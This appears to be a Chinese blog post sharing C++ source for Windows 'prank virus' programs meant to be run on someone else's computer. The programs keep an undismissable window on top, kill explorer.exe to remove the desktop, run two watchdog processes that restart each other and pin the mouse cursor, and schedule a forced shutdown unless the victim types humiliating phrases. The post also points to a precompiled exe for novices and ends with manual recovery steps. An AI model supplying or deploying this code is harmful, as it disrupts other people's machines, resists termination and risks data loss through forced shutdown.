[c++整人代码]超级加倍,让人承认自己是大傻猪
㊀程序介绍
这是本人看到的一个整人小病毒,唯一的杀伤力就是逼着你想坑的人承认他是猪。
本次更新:要求运行程序的人手动输入“我是猪”三个字
㊁程序截图
1 本程序的窗口会自动保持最前
2 无法关闭本窗口
㊂代码展示:
#include <Windows.h>
#include <cstdio>#define BUTTON_ID 10011 /*按钮ID*/int chang, kuan;
HWND hwnd; /*实例化一个句柄*/
char title[100] = "哈哈哈!!!你被耍了";
HDC hdc ;
PAINTSTRUCT ps ;
RECT rect;int print( char words[] )
{hdc = BeginPaint(hwnd, &ps);/* TODO: Add any drawing code here... */GetClientRect(hwnd, &rect);DrawText(hdc, words, strlen(words), &rect, DT_CENTER);EndPaint(hwnd, &ps);
} int ckzq()/*刷新窗口*/
{HWND hForeWnd = NULL; HWND hWnd= FindWindow(NULL, title); DWORD dwForeID; DWORD dwCurID; hForeWnd = GetForegroundWindow(); dwCurID = GetCurrentThreadId(); dwForeID = GetWindowThreadProcessId( hForeWnd, NULL ); AttachThreadInput ( dwCurID, dwForeID, TRUE); ShowWindow ( hWnd, SW_SHOWNORMAL ); SetWindowPos ( hWnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); SetWindowPos ( hWnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE ); SetForegroundWindow( hWnd ); AttachThreadInput ( dwCurID, dwForeID, FALSE);
}int moddle( int x, int len )
{x = x/2;x = x-len;return x;
} int yndesktop;int desk()
{system ( "explorer.exe" );
}int kenren()
{int _exit = 0;MessageBox(NULL, "要想退出,就在下面的每一个问题都点'是'","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);auto yn = MessageBox(NULL, "在那个框框中输入“我是猪 ”","想退出就乖乖听话", MB_ICONQUESTION|MB_OK);
} /* This is where all the input to the window goes to */
LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wp,LPARAM lp)
{ static HWND btnWnd1;static bool flag=false;char szHello[]="哈哈哈!你被耍了";static HWND hBtn;static HWND hEdt;switch(message){case WM_CREATE:{btnWnd1 = CreateWindow(TEXT("BUTTON"),TEXT("X"),WS_VISIBLE|WS_CHILD, /*按钮属性 */ chang-50,kuan-600, /*按钮位置 */ 25,25, /*按钮大小 */ hwnd, /*窗口信息 */ (HMENU)BUTTON_ID,/*按钮子窗口ID*/0,0);hEdt = CreateWindow(TEXT("EDIT"), /*创建输入框*/ TEXT("输入你的答案"), /*输入框初始文字*/ WS_CHILD|WS_VISIBLE|WS_BORDER,/*输入框属性*/ moddle( chang, 100 ), moddle( kuan, 40 ), /*输入框位置*/ 200, 40, /*输入框大小*/ hwnd, /*窗口信息*/ NULL, NULL, NULL); /*占位指针*/ hBtn = CreateWindow(TEXT("BUTTON"), TEXT("确定"), WS_CHILD|WS_VISIBLE, moddle( chang, 100 )+50, moddle( kuan, 40 )+50, 80, 20, hwnd, NULL, NULL, NULL);break; }case WM_PAINT:{print ( "哈哈哈!你被耍了" ); break; }case WM_COMMAND: /*按钮消息WM_COMMAND来处理*/{int id = GetDlgCtrlID(hEdt);switch(id-wp){case 0:{char buf[256];GetDlgItemText(hwnd, id, buf, 255);if (strcmp( "我是猪", buf ) == 0) {system ( "cls" ); printf ( "结果:你已承认你是猪" );if ( yndesktop == 1 ) {MessageBox(NULL, "既然你都已经听话了,那我把桌面还给你","想退出就乖乖听话", MB_ICONASTERISK|MB_OK);MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);desk();MessageBox(NULL, "稍等一下,我马上就走","",MB_ICONEXCLAMATION|MB_OK);printf ( "%d", 1/0 );}MessageBox(NULL, "我就要离你而去了,呜呜呜","",MB_ICONEXCLAMATION|MB_OK);printf ( "%d", 1/0 );}else {system ( "taskkill /f /im explorer.exe" );yndesktop = 1;system ( "cls" ); MessageBox(NULL, "想退出就乖乖听话\\n作为惩罚,我把你的桌面拆了","!@^%$*)(&^~?:><|{}", MB_ICONASTERISK|MB_OK);return 0;}}break;}switch(LOWORD(wp)) /*wParam的低字节为点击的按钮的ID*/{ case BUTTON_ID:{kenren();flag = !flag;break;}default:break;}break;}case WM_DESTROY:{PostQuitMessage(0);return 0;}default:break;}return DefWindowProc(hwnd,message,wp,lp);
}
/* The 'main' function of Win32 GUI programs: this is where execution starts */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{//HideWindow();/*隐藏父类窗口,否则被坑的人可以直接关闭程序*/system ( "title 哈哈哈!你被耍了(未响应)" );/*父类窗口标题*/system ( "cls" );WNDCLASS wndcls; /*实例化*/wndcls.cbClsExtra = 0; /*额外的类的附加字节数*/wndcls.cbWndExtra = 0;/*窗口额外的附加字节数*/wndcls.hbrBackground = (HBRUSH)GetStockObject( BLACK_BRUSH ); /*背景颜色,GetStockObject()函数的返回值是一个HGDIOBJ格式的,强制转换成HBRUSH格式的赋值*/wndcls.hCursor = LoadCursor(NULL, IDC_WAIT); /*光标的类型 */wndcls.hIcon = LoadIcon(NULL, IDI_ERROR); /*窗口图标 */wndcls.hInstance = hInstance; /*应用程序的实例号 */wndcls.lpfnWndProc = WndProc; /*窗口过程函数 */wndcls.lpszClassName = "你被耍了"; /*类名 */wndcls.lpszMenuName = NULL; /*菜单名 */wndcls.style = CS_HREDRAW | CS_VREDRAW; /*水平重画和垂直重画*/ int x = GetSystemMetrics( SM_CXFULLSCREEN );int y = GetSystemMetrics( SM_CYFULLSCREEN );/*获取屏幕尺寸(不含任务栏)*/ chang = x - 200;kuan = y - 200;RegisterClass(&wndcls); /*注册窗口类*/hwnd = CreateWindow("你被耍了",title,WS_CLIPCHILDREN|WS_CLIPSIBLINGS|WS_POPUP,/*窗口风格*/ 100,100,chang,kuan,NULL,NULL,hInstance,NULL); /*建立一个窗口*/ShowWindow(hwnd, SW_SHOWNORMAL); /*显示窗口*/UpdateWindow(hwnd); /*更新窗口*/MSG msg; /*消息机制*/while (GetMessage(&msg, NULL, 0, 0)) /*消息循环*/{ckzq(); /*每传来一次消息, 就刷新窗口, 以保证窗口最前*/ TranslateMessage(&msg); /*传来的消息翻译*/DispatchMessage(&msg); }return msg.wParam;
}
㊃最后还有几个编译时要注意的地方:
1 编译设置
连接器选项 添加 -lgdi32
编译器选项 添加 -std=c++11
㊄ 其他
1 我的编译教程不够详细,无法编译
作者为了满足有些想坑人的小白,直接准备好了已经编译了的exe文件。
1 快速下载
2 限速下载提取码:ucv6
然后,我又看到了一个升级版,由4个代码(展示cpp文件,编译后变成exe才可以使用)组成,注意,由于本程序需要互相调用,所以必须放在同一目录下,且不要轻易修改名称:
第一段,整人主程序,作用:让人承认我是大傻猪,名称 整人代码.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
void po()
{if(getProcess("整人代码-防护.exe") == 0){system("start 整人代码-防护.exe");} if(getProcess("整人代码-防护2.exe") == 0){system("start 整人代码-防护2.exe");} HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main()
{po();system("taskkill /f /t /im explorer.exe");string in;po();HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);cout<<"哈哈哈,我把你桌面拆了。如果你关闭我,那么就请准备重启吧(话说你也关不掉,鼠标你就别想动了)。";cout<<endl<<"输入我是猪,不然就不给你恢复桌面了:"; cin>>in;po();if(in == "我是猪"){cout<<"这是一个事实,哈哈哈\\n";po();Sleep(5000);po();cout<<"怎么了,我忘了什么吗?哦要恢复桌面是吧,那就再说一声我是大傻子:";cin>>in;if(in == "我是大傻子"){po();cout<<"真乖,哈哈哈哈哈哈\\n";Sleep(1000);po();cout<<"看在你说实话的份上,就给你恢复吧,哈哈哈";system("start explorer.exe");system("start 整人代码-kill.exe");return 0;}}po();cout<<"很勇啊你,让我帮你关机吧!\\n";system("shutdown -s -t 120");cout<<"温馨提示:输入“我是大傻猪”即可免除关机:";po();cin>>in;if(in == "我是大傻猪"){cout<<"说的很对,我表示赞同,那就让我大发慈悲的免除你关机吧。\\n";po();system("shutdown -a");Sleep(3000);po();cout<<"啥?\\n";Sleep(3000);po();cout<<"我忘了什么东西?\\n";Sleep(3000);po();cout<<"恢复啥?\\n";Sleep(3000);po();cout<<"最近记忆不太好,忘了,想让我把你桌面装回来就说一声“我是世上独一无二绝无仅有的超级大傻猪”:";cin>>in;po();if(in == "我是世上独一无二绝无仅有的超级大傻猪"){cout<<"真乖,看我咻---";system("start explorer.exe");system("start 整人代码-kill.exe");return 0;}}cout<<"唉,人啊,看你这么不认真不说实话,那我走了";system("start 整人代码-kill.exe");return 0;
}
第二段,防护程序,作用:防止主程序和第二个和它相对应的防护程序被关,名称 整人代码-防护.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
int main()
{ShowWindow(GetConsoleWindow(), SW_MINIMIZE);while(1){if(getProcess("整人代码.exe") == 0){system("start 整人代码.exe");}if(getProcess("整人代码-防护2.exe") == 0){system("start 整人代码-防护2.exe");}if(getProcess("整人代码-kill.exe") == 1){break;} HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);SetCursorPos(0,0);}return 0;
}
第三段,防护程序2,作用:和第一个防护程序相呼应,他被关则我打开他,我被关则他打开我,名称 整人代码-防护2.cpp
下面是代码:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
int main()
{ShowWindow(GetConsoleWindow(), SW_MINIMIZE);while(1){if(getProcess("整人代码-防护.exe") == 0){system("start 整人代码-防护.exe");}if(getProcess("整人代码-kill.exe") == 1){break;}HWND hWnd = ::GetForegroundWindow();::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);SetCursorPos(0,0);}return 0;
}
第四段,关闭整人代码和其防护,作用:关闭防护程序和主程序,名称 整人代码-kill.cpp
下面是代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) //此函数进程名不区分大小写
{char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较strcpy(pName,procressName); //拷贝数组CharLowerBuff(pName,MAX_PATH); //将名称转换为小写PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照if (hProcess == INVALID_HANDLE_VALUE){return false;}bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息while(bMore){CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写if (strcmp(currentProcess.szExeFile,pName)==0) //比较是否存在此进程{CloseHandle(hProcess); //清除hProcess句柄return true;}bMore=Process32Next(hProcess,¤tProcess); //遍历下一个}CloseHandle(hProcess); //清除hProcess句柄return false;
}
using namespace std;
int main()
{while(getProcess("整人代码.exe")){system("taskkill /f /t /im 整人代码.exe");}return 0;
}
作者亲测效果很好,下面是手动关闭此程序(不输入我是猪这些)的步骤:
第一步:乱输一气,因为程序到最后一定关闭,只不过会让你没有桌面(文件资源管理器被关),同时没有任务栏,并且两分钟后关机。但是程序已经关闭。好了,关闭程序的步骤就到此结束
第二步:通过Ctrl+Alt+Delete点任务管理器,打开它,点击右上角的文件,再点击运行新任务,输入explorer,就会打开文件资源管理器,进而恢复桌面和Windows键。
第三步:按Windows+R,打开运行框,输入cmd,回车,打开电脑的命令提示符,输入这一段语句:“shutdown -a”(不含引号),接着电脑的关机指令就会被取消,你的电脑也就恢复了。
作用:
第一步:关闭程序
第二步:打开文件资源管理器,恢复桌面、任务栏和Windows键
第三步:取消关机